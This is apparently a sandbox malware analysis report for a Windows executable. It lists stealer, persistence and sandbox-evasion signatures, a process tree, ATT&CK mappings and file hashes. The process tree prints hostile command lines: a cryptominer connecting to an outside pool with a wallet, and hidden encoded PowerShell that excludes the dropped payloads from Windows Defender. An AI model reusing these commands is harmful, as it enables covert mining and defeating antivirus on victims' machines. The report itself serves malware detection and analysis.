Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

8520d7d210...52.exe

windows7-x64

10

8520d7d210...52.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250211-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/02/2025, 01:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe

  • Size

    3.8MB

  • MD5

    b80fe721ecebeaaf99eb4fa7485644a7

  • SHA1

    18b6d820d5636f68f1e4b788db8500f8553629c2

  • SHA256

    8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452

  • SHA512

    fc46e8bf1f5721dd3feb5f0703272bb66006aa1dbec3fcfa3aa58cdcb2324399e2bbb385d02041cdb0e5a2d5e492805a6a4924c8db8132b4255d03cd07c97f27

  • SSDEEP

    98304:Zs2we8EipV6574GYxThZN+5o4ZQGhNvYH3:wEipS4Ge7N+5m

Score
10/10
adwarecredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Uses browser remote debugging 2 TTPs 3 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 6 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Installs/modifies Browser Helper Object 2 TTPs 8 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Embeds OpenSSL 1 IoCs

    Embeds OpenSSL, may be used to circumvent TLS interception.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 24 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3392
      • C:\Users\Admin\AppData\Local\Temp\8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe
        "C:\Users\Admin\AppData\Local\Temp\8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3644
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4540
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"
          3⤵
          • Enumerates VirtualBox registry keys
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4676
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
            4⤵
            • Uses browser remote debugging
            • Enumerates system info in registry
            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:1912
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffb45d8cc40,0x7ffb45d8cc4c,0x7ffb45d8cc58
              5⤵
                PID:2004
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1856,i,15490592001907246941,1745830031698318460,262144 --variations-seed-version=20250210-180233.097000 --mojo-platform-channel-handle=1880 /prefetch:2
                5⤵
                  PID:1532
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2224,i,15490592001907246941,1745830031698318460,262144 --variations-seed-version=20250210-180233.097000 --mojo-platform-channel-handle=1596 /prefetch:3
                  5⤵
                    PID:5316
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2288,i,15490592001907246941,1745830031698318460,262144 --variations-seed-version=20250210-180233.097000 --mojo-platform-channel-handle=2304 /prefetch:8
                    5⤵
                      PID:1184
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3164,i,15490592001907246941,1745830031698318460,262144 --variations-seed-version=20250210-180233.097000 --mojo-platform-channel-handle=3172 /prefetch:1
                      5⤵
                      • Uses browser remote debugging
                      PID:5692
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3248,i,15490592001907246941,1745830031698318460,262144 --variations-seed-version=20250210-180233.097000 --mojo-platform-channel-handle=3424 /prefetch:1
                      5⤵
                      • Uses browser remote debugging
                      PID:5136
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o 185.196.9.156:9095 -u 85jA4T7ervzLdkXDVXHYHpVnQjv9ZzprBhS5jNjLWfUPTGZgP4V8iCxXZZZkmHT2Nc4jmDtD9bekNXhF7296Rh9aEu6tySy.Worker_CPU -p x --cpu-max-threads-hint=50 -k
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                PID:4044
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc YQBkAEQALQBNAHAAcAByAGUAZgBFAHIAZQBOAEMAZQAgAC0ARQBYAGMATAB1AFMASQBPAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBlAHMAcwBhAGcAZQBcAEsAZQB5AC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXAAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcACAALQBGAE8AcgBjAGUAOwAgAGEAZABEAC0ATQBQAHAAcgBFAGYAZQBSAGUAbgBDAEUAIAAtAGUAeABDAEwAVQBzAEkATwBOAHAAcgBPAGMAZQBTAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGUAcwBzAGEAZwBlAFwASwBlAHkALgBlAHgAZQAgAC0AZgBPAHIAYwBFAA==
              1⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5816
            • C:\Users\Admin\AppData\Roaming\Message\Key.exe
              C:\Users\Admin\AppData\Roaming\Message\Key.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:5596
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
                2⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:5856
            • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
              "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7RjYzODUwNUItMzRGRC00QUZELTg4OTEtREFGMTdCODFDREVEfSIgdXNlcmlkPSJ7M0MxODlBRTgtNkJEMS00MzM0LUJGN0QtNDkxRTY5MDYyOUYwfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NDU3NDk1ODAtRjlGNC00MTI3LUJENUYtRTBENzY4N0VDMTJDfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI1IiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODIxNjkiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1MzE4NTEwMTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MjgyNDMyNjg3Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
              1⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:3196
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAFAAcABSAEUAZgBFAHIARQBuAEMARQAgAC0ARQBYAEMAbAB1AHMAaQBPAG4AcAByAE8AYwBFAHMAUwAgAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUAIAAtAEYATwByAEMARQA=
              1⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1080
            • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\MicrosoftEdge_X64_133.0.3065.69.exe
              "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\MicrosoftEdge_X64_133.0.3065.69.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:5184
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\MicrosoftEdge_X64_133.0.3065.69.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
                2⤵
                • Boot or Logon Autostart Execution: Active Setup
                • Executes dropped EXE
                • Installs/modifies Browser Helper Object
                • Drops file in Program Files directory
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                • System policy modification
                PID:2096
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff78c476a68,0x7ff78c476a74,0x7ff78c476a80
                  3⤵
                  • Executes dropped EXE
                  PID:2024
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe" --msedge --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=1
                  3⤵
                  • Executes dropped EXE
                  PID:4892
                  • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe
                    "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff78c476a68,0x7ff78c476a74,0x7ff78c476a80
                    4⤵
                      PID:3816
                  • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe" --msedge --channel=stable --register-package-identity --verbose-logging --system-level
                    3⤵
                      PID:4692
                      • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff7a30b6a68,0x7ff7a30b6a74,0x7ff7a30b6a80
                        4⤵
                          PID:5112
                      • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe" --msedge --channel=stable --remove-deprecated-packages --verbose-logging --system-level
                        3⤵
                          PID:5536
                          • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff7a30b6a68,0x7ff7a30b6a74,0x7ff7a30b6a80
                            4⤵
                              PID:1484
                          • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe" --msedge --channel=stable --update-game-assist-package --verbose-logging --system-level
                            3⤵
                              PID:4388
                              • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff7a30b6a68,0x7ff7a30b6a74,0x7ff7a30b6a80
                                4⤵
                                  PID:4952
                          • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                            "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                            1⤵
                              PID:2340

                            Network

                            MITRE ATT&CK Enterprise v15

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            1
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Browser Extensions

                            1
                            T1176

                            Event Triggered Execution

                            1
                            T1546

                            Component Object Model Hijacking

                            1
                            T1546.015

                            Modify Authentication Process

                            1
                            T1556

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Event Triggered Execution

                            1
                            T1546

                            Component Object Model Hijacking

                            1
                            T1546.015

                            Defense Evasion

                            Modify Authentication Process

                            1
                            T1556

                            Modify Registry

                            4
                            T1112

                            Virtualization/Sandbox Evasion

                            1
                            T1497

                            Credential Access

                            Credentials from Password Stores

                            1
                            T1555

                            Credentials from Web Browsers

                            1
                            T1555.003

                            Modify Authentication Process

                            1
                            T1556

                            Steal Web Session Cookie

                            1
                            T1539

                            Unsecured Credentials

                            1
                            T1552

                            Credentials In Files

                            1
                            T1552.001

                            Discovery

                            Browser Information Discovery

                            1
                            T1217

                            Query Registry

                            6
                            T1012

                            System Information Discovery

                            4
                            T1082

                            System Location Discovery

                            1
                            T1614

                            System Language Discovery

                            1
                            T1614.001

                            System Network Configuration Discovery

                            1
                            T1016

                            Internet Connection Discovery

                            1
                            T1016.001

                            Virtualization/Sandbox Evasion

                            1
                            T1497

                            Lateral Movement

                            Collection

                            Data from Local System

                            1
                            T1005

                            Command and Control

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{7AA7C943-2E05-4352-B43E-79AAD6A8E7A5}\EDGEMITMP_B02D4.tmp\setup.exe
                              Filesize

                              6.8MB

                              MD5

                              bdb1aecedc15fc82a63083452dad45c2

                              SHA1

                              a074fcd78665ff90ee3e50ffcccad5f6c3e7ddcb

                              SHA256

                              4ea0907c3fc2c2f6a4259002312671c82e008846d49957bb3b9915612e35b99f

                              SHA512

                              50909640c2957fc35dd5bcac3b51797aa5daa2fb95364e69df95d3577482e13f0c36a70ae098959cb9c2aaeb4cfe43025c1d8d55b5f8858b474bcb702609749d

                              Download Submit

                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              Filesize

                              3.9MB

                              MD5

                              4aaa893417cccc147989f876c6a7b295

                              SHA1

                              b1e35c83518bb275924ead0cd6206bf0c982d30f

                              SHA256

                              2c38e3c3f18e2d3fb7f04336356b9b5186cabe06b3343beec318ef0def1a9eeb

                              SHA512

                              109e0c88977fae65a4950fc38393ca32a70d68ef41aeb75b28e6566e0fa626e32e31be38308e7ed5b6a8ba1f56fb5f2133a07aa8bb643224c3dbb089ce9cfd0e

                              Download Submit

                            • C:\Program Files\msedge_installer.log
                              Filesize

                              72KB

                              MD5

                              ee35d9f0a425803e43301e624b138c6d

                              SHA1

                              09d9d95af1e573d43f9ed76c52f8020f640fcf1b

                              SHA256

                              3d2a7720af6ef02739d4c6c94c772d29a7f76d482b5db3966f71d4b60da285fd

                              SHA512

                              67955a892737ea8c518914a9726c0688d36d9e8ba02677828f9e9d080e2439fdf8b0c0dcc9a20c3a811f9efef52c1a2f34753d0ba34671e1f53a6d3bce3eee03

                              Download Submit

                            • C:\Program Files\msedge_installer.log
                              Filesize

                              104KB

                              MD5

                              aacb525a6ba35a9ff8a80beda32f9827

                              SHA1

                              14027a66e6d42581ad263d301c3e8fa13058ce1b

                              SHA256

                              e4b83caeabb345fabd44bc01a3c64e41abb6981afbcc9d7829ca1a58a03bdf63

                              SHA512

                              c0d59c452d6bce8ae98e1e33689b1f06a9a65b53d7c510d1646e6fbc6819c78486c4707bd8472adbfa8b6aed68623e82a10573af5337eee16f6b36f783c678f7

                              Download Submit

                            • C:\Program Files\msedge_installer.log
                              Filesize

                              99KB

                              MD5

                              28f888e005731bd3ac9ecce7b8c3e33f

                              SHA1

                              313b5d40a31ffd9b841f1e99e72f385e98490a6a

                              SHA256

                              10e2f79ac702f400a3ffa53d868b3cd7801cd07d3c3fa56ba8357bd978be777c

                              SHA512

                              3a1ea565cc05a7d30414b932ef6db3946d1f658b5edb1f49ebbe27277c93cd1ef5ebb8cf4ec7e3b3e7386985b0f7286569b3d1996e898db9c7640558432bc3ca

                              Download Submit

                            • C:\Program Files\msedge_installer.log
                              Filesize

                              104KB

                              MD5

                              bf52d6bbe11dd8c8fb528e28450c0862

                              SHA1

                              09a6208093e87822fe04a7bae1c7c5c9baaa023e

                              SHA256

                              b68206373b195993ade487f0ac3de3ebe2c92b0f0c70a168b3addaf85451d5d6

                              SHA512

                              16aaf930e1514eeddf842539ace38cfcb1c6803656a0c26d8212a0bdfa7334f0f2c9bc451ffa6a677d5f3055acbd10b4f7da1b7d229ff89c4fe78a3d660638b7

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                              Filesize

                              126KB

                              MD5

                              074c82e79e308081e5c5779b73016ced

                              SHA1

                              f08b120a5fe1259e195489413fd7c6519a36ab4b

                              SHA256

                              283bf06d8677cbfabe02bfebc2b76094a95cb97c84898399441f4147b5bf1f3d

                              SHA512

                              57c1ce50ac17523e6d1f6c1720b080f3c3caf7b767c24594b17e34912815e6a81fed14125f64df7c887c50b2844193e3475bc8bdfef1387f9270e6801e60e841

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                              Filesize

                              2KB

                              MD5

                              d85ba6ff808d9e5444a4b369f5bc2730

                              SHA1

                              31aa9d96590fff6981b315e0b391b575e4c0804a

                              SHA256

                              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                              SHA512

                              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              Filesize

                              944B

                              MD5

                              77d622bb1a5b250869a3238b9bc1402b

                              SHA1

                              d47f4003c2554b9dfc4c16f22460b331886b191b

                              SHA256

                              f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                              SHA512

                              d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe
                              Filesize

                              653KB

                              MD5

                              fbde224ef7968af7fab765fd06c4b704

                              SHA1

                              db28eaf767625e31891d224eb1f325edabbb0c13

                              SHA256

